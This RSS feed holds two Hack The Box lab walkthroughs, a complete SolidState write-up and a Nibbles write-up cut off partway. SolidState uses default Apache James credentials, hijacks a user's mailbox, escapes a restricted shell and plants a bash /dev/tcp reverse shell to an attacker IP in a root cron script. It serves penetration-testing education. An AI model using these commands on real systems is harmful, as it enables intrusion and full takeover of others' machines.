<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Techie-stronaut on Medium]]></title>
        <description><![CDATA[Stories by Techie-stronaut on Medium]]></description>
        <link>https://medium.com/@kjavaman12?source=rss-5f96dcbc1698------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*fuJUOSi9W5UtM_R7</url>
            <title>Stories by Techie-stronaut on Medium</title>
            <link>https://medium.com/@kjavaman12?source=rss-5f96dcbc1698------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 14 Nov 2026 01:55:29 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kjavaman12/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hack The Box: SolidState Walkthrough]]></title>
            <link>https://medium.com/@kjavaman12/hack-the-box-solidstate-walkthrough-ecc6ca8a270c?source=rss-5f96dcbc1698------2</link>
            <guid isPermaLink="false">https://medium.com/p/ecc6ca8a270c</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Techie-stronaut]]></dc:creator>
            <pubDate>Sun, 28 Dec 2025 11:09:07 GMT</pubDate>
            <atom:updated>2025-12-29T05:36:59.972Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rRxssnn3QXKz3yafy-WJzQ.jpeg" /></figure><h3>Introduction</h3><p>SolidState is a fantastic machine for beginners because it punishes lazy scanning and rewards manual enumeration. It forces you to move away from “push-button” hacking and actually understand how protocols like POP3 and SMTP work.</p><p>In this guide, we aren’t just going to root the box; we are going to break down <strong>why</strong> we use specific flags, <strong>how</strong> we escape restricted shells, and the <strong>anatomy</strong> of a reverse shell payload.</p><h3>Phase 1: Reconnaissance (Nmap)</h3><p>We always start with a map of the territory. We run Nmap with sudo to enable SYN scanning (stealthier and faster).</p><pre>sudo nmap -T4 -A -p- 10.129.7.12</pre><pre>Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-26 20:10 CST<br>Stats: 0:03:21 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan<br>NSE Timing: About 98.92% done; ETC: 20:13 (0:00:00 remaining)<br>Stats: 0:03:22 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan<br>NSE Timing: About 98.92% done; ETC: 20:13 (0:00:00 remaining)<br>Stats: 0:03:23 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan<br>NSE Timing: About 98.92% done; ETC: 20:13 (0:00:00 remaining)<br>Stats: 0:03:23 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan<br>NSE Timing: About 98.92% done; ETC: 20:13 (0:00:00 remaining)<br>Stats: 0:03:23 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan<br>NSE Timing: About 98.92% done; ETC: 20:13 (0:00:00 remaining)<br>Stats: 0:03:23 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan<br>NSE Timing: About 98.92% done; ETC: 20:13 (0:00:00 remaining)<br>Stats: 0:04:28 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan<br>NSE Timing: About 93.75% done; ETC: 20:14 (0:00:03 remaining)<br>Stats: 0:04:29 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan<br>NSE Timing: About 93.75% done; ETC: 20:14 (0:00:03 remaining)<br>Stats: 0:04:29 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan<br>NSE Timing: About 93.75% done; ETC: 20:14 (0:00:03 remaining)<br>Nmap scan report for 10.129.7.12<br>Host is up (0.0019s latency).<br>Not shown: 65529 closed tcp ports (reset)<br>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)<br>| ssh-hostkey: <br>|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)<br>|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)<br>|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)<br>25/tcp   open  smtp?<br>|_smtp-commands: Couldn&#39;t establish connection on port 25<br>80/tcp   open  http    Apache httpd 2.4.25 ((Debian))<br>|_http-title: Home - Solid State Security<br>110/tcp  open  pop3?<br>119/tcp  open  nntp?<br>4555/tcp open  rsip?<br>No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).<br>TCP/IP fingerprint:<br>OS:SCAN(V=7.94SVN%E=4%D=12/26%OT=22%CT=1%CU=44479%PV=Y%DS=2%DC=T%G=Y%TM=694<br>OS:F416C%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%CI=I%II=I%TS=8<br>OS:)OPS(O1=M552ST11NW7%O2=M552ST11NW7%O3=M552NNT11NW7%O4=M552ST11NW7%O5=M55<br>OS:2ST11NW7%O6=M552ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120<br>OS:)ECN(R=Y%DF=Y%T=40%W=7210%O=M552NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+<br>OS:%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)<br>OS:T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A<br>OS:=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%D<br>OS:F=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=4<br>OS:0%CD=S)<br><br>Network Distance: 2 hops<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>TRACEROUTE (using port 199/tcp)<br>HOP RTT     ADDRESS<br>1   2.29 ms 10.10.14.1<br>2   2.38 ms 10.129.7.12<br><br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 357.38 seconds</pre><h3>Why these flags?</h3><p><strong>-p-</strong>: This is critical. It scans <strong>all 65,535 ports</strong>. Beginners often skip this and only scan the top 1,000. On this machine, the vulnerability hides on a high port (4555). If you don&#39;t scan all ports, you fail immediately.</p><p><strong>-A</strong>: This is a “combo flag” that turns on four advanced features at once</p><ul><li><strong>OS Detection (</strong><strong>-O):</strong> Tries to guess if the target is Linux, Windows, etc.</li><li><strong>Version Detection (</strong><strong>-sV):</strong> Probes open ports to find out what specific software is running (e.g., instead of just &quot;Web&quot;, it says &quot;Apache 2.4.41&quot;).</li><li><strong>Script Scanning (</strong><strong>-sC):</strong> Runs Nmap&#39;s default scripting engine (NSE) to find common vulnerabilities or extra info.</li><li><strong>-sV</strong>: Version detection (tells us <em>exactly</em> what software is running).</li></ul><p>T4 : Sets the speed of the scan to “Aggresive.”</p><h3>The Output</h3><p>The scan reveals the usual suspects: Port 22 (SSH) and Port 80 (Web). But look at this cluster:</p><ul><li><strong>Port 25 (SMTP):</strong> Sending mail.</li><li><strong>Port 110 (POP3):</strong> Receiving mail.</li><li><strong>Port 119 (NNTP):</strong> News protocol.</li></ul><p>When you see Ports 25 and 110 open together, you are looking at a <strong>Mail Server</strong>.</p><h3>The Mystery Port: 4555</h3><p>Nmap identifies port 4555 as rsip?. The question mark means Nmap is guessing based on a lookup table. <strong>Never trust Nmap blindly.</strong> We need to verify this manually later.</p><h3>Phase 2: Web Enumeration (The Rabbit Hole)</h3><p>Naturally, we check Port 80 first. We find a site for “Solid State Security.”</p><p>We run <strong>Gobuster</strong> to look for hidden directories:</p><pre>gobuster dir -u http://10.129.7.12 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -x php,html,txt,bak,md -t 50 -o gobuster.txt<br><br><br>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/.html                (Status: 403) [Size: 291]<br>/index.html           (Status: 200) [Size: 7776]<br>/images               (Status: 301) [Size: 311] [--&gt; http://10.129.7.12/images/]<br>/about.html           (Status: 200) [Size: 7183]<br>/services.html        (Status: 200) [Size: 8404]<br>/assets               (Status: 301) [Size: 311] [--&gt; http://10.129.7.12/assets/]<br>/README.txt           (Status: 200) [Size: 963]<br>/LICENSE.txt          (Status: 200) [Size: 17128]<br>/.html                (Status: 403) [Size: 291]<br>Progress: 525984 / 525990 (100.00%)<br>===============================================================<br>Finished</pre><pre>README.txt<br><br><br>Solid State by HTML5 UP<br>html5up.net | @ajlkn<br>Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)<br><br><br>After a somewhat extended break from HTML5 UP (to work on a secret-ish new project --<br>more on that later!) I&#39;m back with a brand new design: , a slick new multi-<br>pager that combines some of the ideas I&#39;ve played with over at Pixelarity with an &quot;angular&quot;<br>sort of look. Hope you dig it :)<br><br>Demo images* courtesy of Unsplash, a radtastic collection of CC0 (public domain) images<br>you can use for pretty much whatever.<br><br>(* = not included)<br><br>AJ<br>aj@lkn.io | @ajlkn<br><br><br>Credits:<br><br>        Demo Images:<br>                Unsplash (unsplash.com)<br><br>        Icons:<br>                Font Awesome (fortawesome.github.com/Font-Awesome)<br><br>        Other:<br>                jQuery (jquery.com)<br>                html5shiv.js (@afarkas @jdalton @jon_neal @rem)<br>                background-size polyfill (github.com/louisremi)<br>                Misc. Sass functions (@HugoGiraudel)<br>                Respond.js (j.mp/respondjs)<br>                Skel (skel.io)┌─[yeachan☺htb-zk6gknjt8l]─[~]<br>└──╼ $</pre><p>We find README.txt and LICENSE.txt, confirming the site uses a generic HTML5 template. However, the site is purely static. There is no login form, no database, and no CMS (like WordPress).</p><p><strong>The Lesson:</strong> Don’t force a vulnerability where there isn’t one. If the web door is locked, check the side windows. We pivot back to the mail ports.</p><h3>Phase 3: Service Enumeration (Banner Grabbing)</h3><p>Since Nmap was unsure about Port 4555, we use <strong>Netcat</strong> to talk to the port directly. This is called <strong>Banner Grabbing</strong>.</p><pre>nc -nv 10.129.7.12 4555</pre><p><strong>The Response:</strong></p><pre>JAMES Remote Administration Tool 2.3.2<br>Please enter your login and password</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BAS6w8bv0MBKCowLpbB03g.png" /></figure><p>Bingo. It’s not RSIP; it is the <strong>Apache James 2.3.2 Remote Admin Tool</strong>. A quick Google search for this version reveals a critical flaw: the default credentials are often left unchanged.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*0Hb9mnMY_EtoTk8vS25BHg.png" /><figcaption><a href="https://github.com/greycr0w/apache-james-server-2.3.2-rce-go">https://github.com/greycr0w/apache-james-server-2.3.2-rce-go</a></figcaption></figure><p>We try the defaults:</p><ul><li><strong>User:</strong> root</li><li><strong>Pass:</strong> root</li></ul><p>We are in. We have administrative control over the mail server application.</p><h3>Phase 4: Initial Access (Hijacking Email)</h3><p>Once logged into the James Admin console, we run listusers. We see a user named <strong>mindy</strong>.</p><p>We want to read Mindy’s email to see if she has sent any sensitive data (like passwords). However, we don’t know her email password.</p><h3>The “God Mode” Concept</h3><p>Because we are root <em>on the mail server application</em>, we don&#39;t need to crack her password. We can just reset it.</p><pre>setpassword mindy password123</pre><p><strong>Crucial Note:</strong> We just changed her <strong>Email</strong> password. We did <em>not</em> change her <strong>SSH (Linux)</strong> password. These are two separate systems. We are hijacking her inbox to find secrets.</p><h3>Retrieving the Mail (POP3)</h3><p>Now we log into her inbox using POP3 on Port 110.</p><p><strong>⚠️ Technical Trap:</strong> POP3 requires lines to end with CRLF (Carriage Return + Line Feed). Standard Netcat doesn&#39;t do this. You must use the -C flag.</p><pre>nc -C -v 10.129.7.12 110<br>USER mindy<br>PASS password123<br>LIST</pre><p>We see two emails. We use RETR 2 to read the second one.</p><pre>LIST<br>+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready <br>+OK<br>+OK Welcome mindy<br>+OK 2 1945<br>1 1109<br>2 836<br>.<br>RETR 1 <br>+OK Message follows<br>Return-Path: &lt;mailadmin@localhost&gt;<br>Message-ID: &lt;5420213.0.1503422039826.JavaMail.root@solidstate&gt;<br>MIME-Version: 1.0<br>Content-Type: text/plain; charset=us-ascii<br>Content-Transfer-Encoding: 7bit<br>Delivered-To: mindy@localhost<br>Received: from 192.168.11.142 ([192.168.11.142])<br>          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798<br>          for &lt;mindy@localhost&gt;;<br>          Tue, 22 Aug 2017 13:13:42 -0400 (EDT)<br>Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)<br>From: mailadmin@localhost<br>Subject: Welcome<br><br>Dear Mindy,<br>Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.<br><br>We are looking forward to you joining our team and your success at Solid State Security. <br><br>Respectfully,<br>James<br>.<br>RETR 2<br>+OK Message follows<br>Return-Path: &lt;mailadmin@localhost&gt;<br>Message-ID: &lt;16744123.2.1503422270399.JavaMail.root@solidstate&gt;<br>MIME-Version: 1.0<br>Content-Type: text/plain; charset=us-ascii<br>Content-Transfer-Encoding: 7bit<br>Delivered-To: mindy@localhost<br>Received: from 192.168.11.142 ([192.168.11.142])<br>          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581<br>          for &lt;mindy@localhost&gt;;<br>          Tue, 22 Aug 2017 13:17:28 -0400 (EDT)<br>Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)<br>From: mailadmin@localhost<br>Subject: Your Access<br><br>Dear Mindy,<br><br><br>Here are your ssh credentials to access the system. Remember to reset your password after your first login. <br>Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. <br><br>username: mindy<br>pass: &lt;redacted&gt;<br><br>Respectfully,<br>James</pre><p>We have intercepted a plain-text password sent by an admin. We can now log into the server via SSH.</p><h3>Phase 5: Escaping the Restricted Shell (Rbash)</h3><p>We SSH in as Mindy:</p><pre>ssh mindy@10.129.7.12</pre><p>We are in However, if we try to use cd or sudo, we get command not found. We are in a Restricted Bash shell — a “padded cell” for users.</p><h3>The Escape</h3><p>The restriction is usually loaded by a startup script (like .bash_profile) when you log in. We can tell SSH to ignore that script.</p><pre>ssh mindy@10.129.7.12 -t &quot;bash --noprofile&quot;</pre><ul><li><strong>-t</strong>: Forces a pseudo-terminal allocation (gives us an interactive screen).</li><li><strong>&quot;bash --noprofile&quot;</strong>: Runs Bash immediately but skips the initialization files that contain the restrictions.</li></ul><p>We are now in a fully functional shell.</p><h3>Phase 6: Privilege Escalation (Cron Jobs)</h3><p>We are mindy, but we want to be root. We need to see what processes Root is running in the background. Standard tools like ps only show a snapshot in time. We need to monitor processes <em>over time</em>.</p><p>For this, we use <strong>pspy</strong>.</p><h3>Architecture Check</h3><p>Before downloading tools, check the architecture:</p><pre>uname -m<br># Output: i686</pre><p>i686 means <strong>32-bit</strong>. If we download standard 64-bit tools, they will crash. We download <strong>pspy32</strong>, transfer it via wget, and run it.</p><pre># Attacker Machine<br><br># Download the 32-bit version<br>wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32<br><br># Check the file type (It should say &quot;ELF 32-bit&quot;)<br>file pspy32<br><br><br># Victim Machine<br><br>${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ wget http://10.10.14.60:9001/pspy32<br>--2025-12-28 04:43:15--  http://10.10.14.60:9001/pspy32<br>Connecting to 10.10.14.60:9001... connected.<br>HTTP request sent, awaiting response... 200 OK<br>Length: 2940928 (2.8M) [application/octet-stream]<br>Saving to: ‘pspy32’<br><br>pspy32              100%[===================&gt;]   2.80M  --.-KB/s    in 0.1s    <br><br>2025-12-28 04:43:15 (20.7 MB/s) - ‘pspy32’ saved [2940928/2940928]<br><br>${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ chmod +x pspy32<br>${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ./pspy32</pre><h3>The Vulnerability</h3><p>After watching pspy for a few minutes, we see a pattern repeating every 3 minutes:</p><pre>2025/12/28 04:45:01 CMD: UID=0     PID=7142   | /bin/sh -c python /opt/tmp.py <br>2025/12/28 04:45:01 CMD: UID=0     PID=7143   | sh -c bash -c &quot;bash -i &gt;&amp; /dev/tcp/10.10.14.60/4444 0&gt;&amp;1&quot; <br>2025/12/28 04:45:01 CMD: UID=0     PID=7144   | bash -c bash -i &gt;&amp; /dev/tcp/10.10.14.60/4444 0&gt;&amp;1 <br>...<br>2025/12/28 04:48:01 CMD: UID=0     PID=7207   | /bin/sh -c python /opt/tmp.py <br>2025/12/28 04:48:02 CMD: UID=0     PID=7208   | sh -c bash -c &quot;bash -i &gt;&amp; /dev/tcp/10.10.14.60/4444 0&gt;&amp;1&quot;</pre><p>Root (UID=0) is executing a python script located at /opt/tmp.py.</p><p>We check the permissions on that file:</p><pre>ls -l /opt/tmp.py<br># Output: -rwxrwxrwx</pre><p><strong>The Flaw:</strong> The file is “World Writable” (777). Anyone can edit it. Root is blindly executing a script that <em>we</em> control.</p><h3>Phase 7: The Exploit (Anatomy of a Reverse Shell)</h3><p>We need to overwrite /opt/tmp.py with code that connects back to us. We will use a Python one-liner wrapped in an echo command.</p><pre>echo &quot;import os; os.system(&#39;bash -c \&quot;bash -i &gt;&amp; /dev/tcp/10.10.14.60/4444 0&gt;&amp;1\&quot;&#39;)&quot; &gt; /opt/tmp.py</pre><p>This command looks scary. Let’s peel it apart like an onion.</p><ul><li><strong>The Delivery (</strong><strong>echo ... &gt; file)</strong>: We use echo to write our malicious code, and &gt; to overwrite the existing file.</li><li><strong>The Wrapper (</strong><strong>import os...)</strong>: The system runs this file as Python. We use os.system() to tell Python to execute a system (terminal) command.</li><li><strong>The Runner (</strong><strong>bash -c)</strong>: We tell Linux to start a new instance of Bash to run our payload.</li><li><strong>The Payload (</strong><strong>bash -i &gt;&amp; /dev/tcp/...)</strong>:</li><li>/dev/tcp/IP/PORT: In Linux, everything is a file. Bash treats this path as a network connection (a phone call) to our IP.</li><li>&gt;&amp;: Reroutes <strong>Output</strong> (what you see) down the network wire to us.</li><li>0&gt;&amp;1: Reroutes <strong>Input</strong> (what you type) to the Output. Since Output goes to the network, Input now comes <em>from</em> the network.</li><li>bash -i: Interactive mode. Keeps the shell open.</li></ul><h3>Victory</h3><ul><li>We start a listener on our machine: nc -lvnp 4444.</li><li>We verify the file is overwritten.</li><li>We wait for the Cron job (up to 3 minutes).</li></ul><p>Suddenly, our listener lights up:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*c7zVQT_M1XXHzLBez7ER7A.png" /></figure><pre>connect to [10.10.14.60] from (UNKNOWN) [10.129.7.12]<br>root@solidstate:~#</pre><p>We check id. <strong>UID=0</strong>. We have total control of the system.</p><h3>Summary of Lessons</h3><ul><li><strong>Scan All Ports:</strong> We would have missed the James Admin port (4555) without -p-.</li><li><strong>Verify Services:</strong> Nmap guessed rsip?; Netcat proved it was James Admin.</li><li><strong>Context Matters:</strong> Changing a password in the Mail App allows us to read email; it does not give us SSH access directly.</li><li><strong>Restricted Shells:</strong> -t &quot;bash --noprofile&quot; is a powerful SSH trick.</li><li><strong>Check Architecture:</strong> Always run uname -m before uploading binaries (32-bit vs 64-bit).</li><li><strong>Permissions:</strong> A file run by Root should never be writable by the world.</li></ul><p><em>Happy Hacking!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ecc6ca8a270c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Web Enum to Root: A Step-by-Step Guide to Hacking the Nibbles Box]]></title>
            <link>https://medium.com/@kjavaman12/from-web-enum-to-root-a-step-by-step-guide-to-hacking-the-nibbles-box-833ef5466a0d?source=rss-5f96dcbc1698------2</link>
            <guid isPermaLink="false">https://medium.com/p/833ef5466a0d</guid>
            <dc:creator><![CDATA[Techie-stronaut]]></dc:creator>
            <pubDate>Sun, 09 Nov 2025 03:59:09 GMT</pubDate>
            <atom:updated>2025-11-09T03:59:09.409Z</atom:updated>
            <content:encoded><![CDATA[<p>A comprehensive walkthrough of the popular Hack The Box machine, covering manual exploitation, privilege escalation, and the Metasploit alternative.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z1CjqSBYwGwpnKy5QFZUiA.png" /></figure><h3>Introduction</h3><p>The “Nibbles” machine on Hack The Box is a fantastic starting point for anyone looking to get into penetration testing. It perfectly illustrates how a chain of seemingly small misconfigurations — from information disclosure on a web server to an insecure sudo rule — can lead to a full system compromise.</p><p>In this guide, we will walk through the entire process, from initial reconnaissance to gaining root access. We’ll cover both a detailed manual approach and a faster, automated method using the Metasploit Framework.</p><p><strong>Machine IP:</strong> 10.129.28.67 (replace with your target IP)</p><h3>Phase 1: Kicking the Tires with Reconnaissance</h3><p>Every engagement begins with thorough enumeration. We need to build a map of the target to understand its attack surface.</p><h4>Initial Port Scanning with Nmap</h4><p>Our first step is a comprehensive Nmap scan to identify open ports and running services. We’ll use the -sC flag for default scripts, -sV to enumerate service versions, and -oA to save the output in all formats.</p><p>codeBash</p><pre>nmap -sC -sV -oA basic_scan 10.129.28.67</pre><p><strong>Results:</strong></p><pre>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)<br>80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))<br>|_http-title: Site doesn&#39;t have a title (text/html).<br>|_http-server-header: Apache/2.4.18 (Ubuntu)</pre><p>The scan reveals two open ports: SSH on port 22 and an Apache web server on port 80. The web server is our most likely entry point.</p><h4>Digging into the Web Server</h4><p>Navigating to the IP in a browser presents a simple “Hello world!” page. However, a quick look at the page’s source code reveals a developer comment:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*UtZgPp7eK9jb1hmeAdqKmA.png" /></figure><pre># Source code of the homepage<br><br>&lt;b&gt;Hello world!&lt;/b<br><br>&lt;!-- /nibbleblog/ directory. Nothing interesting here! --&gt;</pre><p>This is our first clue — a classic case of information disclosure. Following this path leads us to a full-blown blog application.</p><h4>Uncovering Hidden Directories with Gobuster</h4><p>With a target application identified, we can use Gobuster to brute-force directories and files, looking for hidden administrative panels or sensitive files.</p><pre>gobuster dir -u http://10.129.28.67/nibbleblog/ -w /usr/share/seclists/Discovery/Web-Content/common.txt</pre><pre>===============================================================<br>Starting gobuster in directory enumeration mode<br>===============================================================<br>/.hta                 (Status: 403) [Size: 302]<br>/.htpasswd            (Status: 403) [Size: 307]<br>/.htaccess            (Status: 403) [Size: 307]<br>/README               (Status: 200) [Size: 4628]<br>/admin                (Status: 301) [Size: 323] [--&gt; http://10.129.28.67/nibbleblog/admin/]<br>/admin.php            (Status: 200) [Size: 1401]<br>/content              (Status: 301) [Size: 325] [--&gt; http://10.129.28.67/nibbleblog/content/]<br>/index.php            (Status: 200) [Size: 2987]<br>/languages            (Status: 301) [Size: 327] [--&gt; http://10.129.28.67/nibbleblog/languages/]<br>/plugins              (Status: 301) [Size: 325] [--&gt; http://10.129.28.67/nibbleblog/plugins/]<br>/themes               (Status: 301) [Size: 324] [--&gt; http://10.129.28.67/nibbleblog/themes/]<br>Progress: 4723 / 4724 (99.98%)</pre><p>The scan quickly uncovers several key locations:</p><ul><li>/admin.php (A login page)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*Ok20clrYJHkXXJjlfl6DPQ.png" /><figcaption>admin.php</figcaption></figure><ul><li>/content/ (A browsable directory)</li><li>/README (Contains application information)</li></ul><p>The README file is a goldmine, explicitly stating the application is <strong>Nibbleblog version 4.0.3</strong>. This version number is crucial for finding known public exploits.</p><pre>====== Nibbleblog ======<br>Version: v4.0.3<br>Codename: Coffee<br>Release date: 2014-04-01<br><br>Site: http://www.nibbleblog.com<br>Blog: http://blog.nibbleblog.com<br>Help &amp; Support: http://forum.nibbleblog.com<br>Documentation: http://docs.nibbleblog.com<br><br>===== Social =====<br>* Twitter: http://twitter.com/nibbleblog<br>* Facebook: http://www.facebook.com/nibbleblog<br>* Google+: http://google.com/+nibbleblog<br><br>===== System Requirements =====<br>* PHP v5.2 or higher<br>* PHP module - DOM<br>* PHP module - SimpleXML<br>* PHP module - GD<br>* Directory â€œcontentâ€ writable by Apache/PHP<br><br>Optionals requirements<br><br>* PHP module - Mcrypt<br><br>===== Installation guide =====<br>1- Download the last version from http://nibbleblog.com<br>2- Unzip the downloaded file<br>3- Upload all files to your hosting or local server via FTP, Shell, Cpanel, others.<br>4- With your browser, go to the URL of your web. Example: www.domain-name.com<br>5- Complete the form<br>6- Done! you have installed Nibbleblog<br><br>===== About the author =====<br>Name: Diego Najar<br>E-mail: dignajar@gmail.com<br>Linkedin: http://www.linkedin.com/in/dignajar<br><br>===== Example Post =====<br>...</pre><h3>Phase 2: From Information Leak to User Shell</h3><p>Our enumeration has given us everything we need to formulate an attack plan.</p><h4>Exploiting Information Disclosure</h4><p>The browsable /content/ directory contains a /private/ subdirectory. Exposing private application files like this is a critical vulnerability. Inside, we find users.xml and config.xml.</p><ul><li><strong>users.xml</strong> confirms the existence of an admin account but contains no password hash, meaning we must guess the password via the login form.</li></ul><pre># /content/private/users.xml<br># Can check the presence of admin account.<br># If one failure, can cause blacklisted.<br><br>&lt;users&gt;<br>&lt;user username=&quot;admin&quot;&gt;<br>&lt;id type=&quot;integer&quot;&gt;0&lt;/id&gt;<br>&lt;session_fail_count type=&quot;integer&quot;&gt;0&lt;/session_fail_count&gt;<br>&lt;session_date type=&quot;integer&quot;&gt;1514544131&lt;/session_date&gt;<br>&lt;/user&gt;<br>&lt;blacklist type=&quot;string&quot; ip=&quot;10.10.10.1&quot;&gt;<br>&lt;date type=&quot;integer&quot;&gt;1512964659&lt;/date&gt;<br>&lt;fail_count type=&quot;integer&quot;&gt;1&lt;/fail_count&gt;<br>&lt;/blacklist&gt;<br>&lt;/users&gt;</pre><ul><li><strong>config.xml</strong> provides the site name: &lt;name type=”string”&gt;Nibbles&lt;/name&gt;.</li></ul><pre># /content/private/config.xml<br><br>&lt;config&gt;<br>&lt;name type=&quot;string&quot;&gt;Nibbles&lt;/name&gt;<br>&lt;slogan type=&quot;string&quot;&gt;Yum yum&lt;/slogan&gt;<br>&lt;footer type=&quot;string&quot;&gt;Powered by Nibbleblog&lt;/footer&gt;<br>&lt;advanced_post_options type=&quot;integer&quot;&gt;0&lt;/advanced_post_options&gt;<br>&lt;url type=&quot;string&quot;&gt;http://10.129.28.67/nibbleblog/&lt;/url&gt;<br>&lt;path type=&quot;string&quot;&gt;/nibbleblog/&lt;/path&gt;<br>&lt;items_rss type=&quot;integer&quot;&gt;4&lt;/items_rss&gt;<br>&lt;items_page type=&quot;integer&quot;&gt;6&lt;/items_page&gt;<br>&lt;language type=&quot;string&quot;&gt;en_US&lt;/language&gt;<br>&lt;timezone type=&quot;string&quot;&gt;UTC&lt;/timezone&gt;<br>&lt;timestamp_format type=&quot;string&quot;&gt;%d %B, %Y&lt;/timestamp_format&gt;<br>&lt;locale type=&quot;string&quot;&gt;en_US&lt;/locale&gt;<br>&lt;img_resize type=&quot;integer&quot;&gt;1&lt;/img_resize&gt;<br>&lt;img_resize_width type=&quot;integer&quot;&gt;1000&lt;/img_resize_width&gt;<br>&lt;img_resize_height type=&quot;integer&quot;&gt;600&lt;/img_resize_height&gt;<br>&lt;img_resize_quality type=&quot;integer&quot;&gt;100&lt;/img_resize_quality&gt;<br>&lt;img_resize_option type=&quot;string&quot;&gt;auto&lt;/img_resize_option&gt;<br>&lt;img_thumbnail type=&quot;integer&quot;&gt;1&lt;/img_thumbnail&gt;<br>&lt;img_thumbnail_width type=&quot;integer&quot;&gt;190&lt;/img_thumbnail_width&gt;<br>&lt;img_thumbnail_height type=&quot;integer&quot;&gt;190&lt;/img_thumbnail_height&gt;<br>&lt;img_thumbnail_quality type=&quot;integer&quot;&gt;100&lt;/img_thumbnail_quality&gt;<br>&lt;img_thumbnail_option type=&quot;string&quot;&gt;landscape&lt;/img_thumbnail_option&gt;<br>&lt;theme type=&quot;string&quot;&gt;simpler&lt;/theme&gt;<br>&lt;notification_comments type=&quot;integer&quot;&gt;1&lt;/notification_comments&gt;<br>&lt;notification_session_fail type=&quot;integer&quot;&gt;0&lt;/notification_session_fail&gt;<br>&lt;notification_session_start type=&quot;integer&quot;&gt;0&lt;/notification_session_start&gt;<br>&lt;notification_email_to type=&quot;string&quot;&gt;admin@nibbles.com&lt;/notification_email_to&gt;<br>&lt;notification_email_from type=&quot;string&quot;&gt;noreply@10.10.10.134&lt;/notification_email_from&gt;<br>&lt;seo_site_title type=&quot;string&quot;&gt;Nibbles - Yum yum&lt;/seo_site_title&gt;<br>&lt;seo_site_description type=&quot;string&quot;/&gt;<br>&lt;seo_keywords 